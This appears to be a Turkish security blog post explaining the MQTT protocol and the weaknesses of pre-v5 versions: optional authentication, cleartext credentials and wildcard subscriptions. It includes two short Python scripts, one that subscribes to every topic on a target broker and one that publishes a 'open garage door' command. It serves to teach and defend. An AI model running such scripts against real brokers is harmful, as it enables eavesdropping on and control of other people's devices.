Bugünkü yazımda IoT cihazlarında kullanılan MQTT’nin eski versiyonlarındaki zafiyetlerden ve MQTT protokolünün ne olduğu ile ilgili bilgi vereceğim. MQTT; kısıtlı cihazlar ve düşük bant genişliği, yüksek gecikmeli veya güvenilmez ağlar için tasarlanmış bir publish/subscribe, son derece basit ve hafif mesajlaşma protokolüdür. Tasarım prensipleri, ağ bant genişliği ve cihaz kaynak gereksinimlerini en aza indirirken aynı zamanda güvenilirliği ve bir dereceye kadar teslimat güvencesini sağlamaya çalışmaktadır. Bu özellikleri sayesinde, protokolün ortaya çıkan “makineden makineye” (M2M) veya bağlı cihazların “Internet of Things” dünyasında bant genişliği ve pil gücünün yüksek olduğu mobil uygulamalar için ideal hale gelmiştir. MQTT haberleşme modelini tanımlarıyla birlikte aşağıdaki gibi özetleyebiliriz.
Publisher: Aracıdaki bir veya birçok konuya bir mesaj olarak yayınlar.
Subscriber: Aracıda bir veya çok sayıda konuya abone olur ve yayıncıdan gönderilen tüm mesajları alır.
Broker: Yayıncılardan gelen tüm iletileri abonelere yönlendirir.
Topic: MQTT’de, sözcük konusu (Topic), aracının bağlı her istemci için iletileri filtrelemek için kullandığı bir UTF-8 dizesini kullanır. Konu bir veya daha fazla konu seviyesinden oluşmaktadır. Her konu seviyesi bir eğik çizgi (konu seviyesi ayırıcı) ile ayrılır. Örneğin (Akıllı Ev/Oturma Odası/sıcaklık vb.)

Her MQTT paketinde sabit bir başlık bulunmaktadır.
Sabit başlığın ilk alanı MQTT Paketinin tipini temsil eder. Tüm paket tipleri aşağıdaki tabloda listelenmiştir.
MQTT Protokolünün V3.1’inde bir MQTT paketiyle bir kullanıcı adı ve şifre girebilirsiniz. Ağ üzerinden şifreleme, MQTT protokolünün kendisinden bağımsız olarak SSL ile ele alınabilir (SSL’nin hafif protokol olmadığını ve önemli bir ağ yükü eklediğini belirtmek gerekir.) Ek güvenlik, gönderdiği ve aldığı verileri şifreleyen bir uygulama tarafından eklenebilir, ancak bu, basit ve hafif tutmak için protokolde yerleşik bir şey değildir. İstemciler, CONNECT paketiyle bir kullanıcı adı ve şifre gönderen MQTT Broker’ı doğrulayabilirler.
CONNACK Packeti, MQTT Broker tarafından istemciden alınan CONNECT Paketine cevap olarak gönderilen pakettir. CONNACK paket başlığı, kimlik doğrulamanın sonucunu temsil eden bir “dönüş kodu” alanı (örneğin, Connection Accepted) barındırmaktadır. Tüm dönüş kodu değerleri aşağıdaki tabloda listelenmiştir.
MQTT güvenliğinde dikkate alınacak iki nokta vardır: bunlardan bir tanesi; Kimlik doğrulaması tamamen isteğe bağlıdır. İkincisi; Kimlik doğrulaması gerçekleştirilse bile, şifreleme varsayılan olarak kullanılmaz (kimlik bilgileri açık metinde gönderilir). MITM saldırıları hala şifreleri çalmak amacıyla kullanılabilir.
Bir saldırgan, MQTT konusuna komutlar yayınlayarak IoT cihazlarını kontrol edebildiği zaman ciddi bir güvenlik riski ortaya çıkar (örneğin, ışıkları kapat ve garaj kapısını aç vb.). Bir hayali garaj kapısı açmak için basit bir python kodunu aşağıda sizlerle paylaşıyorum.

import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
print "[+] Connection successful"
client.subscribe('#', qos = 1) # Subscribe to all topics
client.subscribe('$SYS/#') # Broker Status (Mosquitto)
def on_message(client, userdata, msg):
print '[+] Topic: %s - Message: %s' % (msg.topic, msg.payload)
client = mqtt.Client(client_id = "MqttClient")
client.on_connect = on_connect
client.on_message = on_message
client.connect('Hedef IP Adresi', 1883, 60)
client.loop_forever()


import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
print "[+] Connection success"
client = mqtt.Client(client_id = "MqttClient")
client.on_connect = on_connect
client.connect('Hedef IP Adresi', 1883, 60)
client.publish('smarthouse/garage/door', "{'open':'true'}")

IoT satıcıları tarafından kullanılan MQTT mesajlaşma protokolü standardının yaygın kullanılan eski versiyonları, doğası gereği yeterince güvenli değildir. Bazı çözümler bu protokolü güvence altına almak için var, fakat üreticiler bu riski değerlendirmeli ve IoT ve ağ güvenliğini uygun şekilde yapılandırmalıdır. Güvenlik, IoT ve gömülü aygıtlar için büyük bir sorundur. Güvenlik uzmanları, akıllı cihazların kullandığı yeni teknolojileri ve protokolleri anlamalıdır. Sanırım MQTT gibi hafif protokolleri kullanarak geliştirilen IoT cihazlarında güncel versiyona geçilmezse ve halen daha eski versiyon kullanılması durumunda daha fazla saldırı örneklerini önümüzdeki günlerde göreceğimizi düşünüyorum. (DDOS atakları gibi)
Bir mail hesabınız olduğunu ve birisinin şifrenizi öğrendiğini varsayalım. Bu kişi yalnızca mail hesabınıza erişebilir. Ancak, mail postanız protokol olarak MQTT kullanıyorsa, oradaki kişi tüm milyonlarca mail hesabına erişebilir. Bunun nasıl mümkün olduğunu anlamak için, publish / subscriber (bire çok) paradigması ve MQTT tarafından sağlanan joker kart subscriber özelliği hakkında daha derin bir anlayışa sahip olmak gerekir. Bir MQTT çözümünü sıkılaştırmak için, aracı kartta joker subscriber devre dışı bırakılmalıdır.
Bu yılın başında MQTT protokol güncellemesi sürüm 5 olarak piyasaya sürüldü. Protokolde eskiye nazaran bir çok iyileştirme var! Olumsuz onaylar, bazı müşterilerin neden gerçekte ne olduğunu anlatarak belirli bir konuya bağlanamayacağını, yayınlayamayacağını veya abone olamayacağını anlamaya çalışırken çok daha kolay hata ayıklama döngüleri sağlar. Tek bir subscriber’ın ele alabileceğinden daha fazla mesaj alan sınırlamaların üstesinden gelmek için paylaşılan abonelikler gereklidir. MQTT v5 için güvenlik testlerini henüz gerçekleştirmedim fakat MQTT v5 öncesindeki birçok cihazın kullandığı protokollerde ciddi zayıflıkların bulunduğunu bugünkü yazımda sizlerle paylaşmaya çalıştım. İlerleyen günlerde MQTT v5 protokolünde bir zafiyet bulduğumda yine sizlerle bloğum aracılığıyla bu zafiyetleri paylaşmayı planlıyorum.
Resim ve Tablo Kaynağı: http://mqtt.org/ sitesinden referans verilerek bu yazıda kullanılmıştır.